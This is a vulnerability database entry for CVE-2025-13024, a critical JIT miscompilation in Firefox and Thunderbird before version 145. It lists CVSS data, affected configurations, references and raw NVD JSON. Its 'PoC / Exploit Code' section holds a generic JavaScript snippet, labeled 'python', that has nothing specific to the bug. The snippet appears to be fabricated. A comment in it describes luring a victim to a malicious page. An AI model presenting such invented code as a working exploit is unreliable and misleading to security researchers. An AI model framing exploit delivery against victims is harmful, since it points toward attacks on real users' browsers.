CVE-2025-13024

Description

JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 145 and Thunderbird 145.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

Mozilla Firefox < 145

Mozilla Thunderbird < 145

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

function triggerJITVulnerability() {
    // 构造触发JIT错误的代码模式
    var arr = new Array();
    for (var i = 0; i < 1000; i++) {
        arr[i] = new String("test" + i);
    }
    // 触发JIT编译
    for (var j = 0; j < 10000; j++) {
        arr[0] = j;
    }
    return arr[0];
}

// 诱使受害者访问恶意页面
document.location = "data:text/html,<script>" + encodeURIComponent(triggerJITVulnerability.toString() + "\ntriggerJITVulnerability();") + "</script>";

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13024
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13024
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13024/
[4] VulDB https://vuldb.com/cve/CVE-2025-13024
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=1992902
[6] https://www.mozilla.org/security/advisories/mfsa2025-87/
[7] https://www.mozilla.org/security/advisories/mfsa2025-90/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13024", "sourceIdentifier": "[email protected]", "published": "2025-11-11T16:15:39.510", "lastModified": "2026-04-13T15:16:44.140", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 145 and Thunderbird 145."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-733"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "145.0", "matchCriteriaId": "445D5AED-0882-46FE-A5F1-B7148B923221"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1992902", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-87/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2025-90/", "source": "[email protected]"}]}}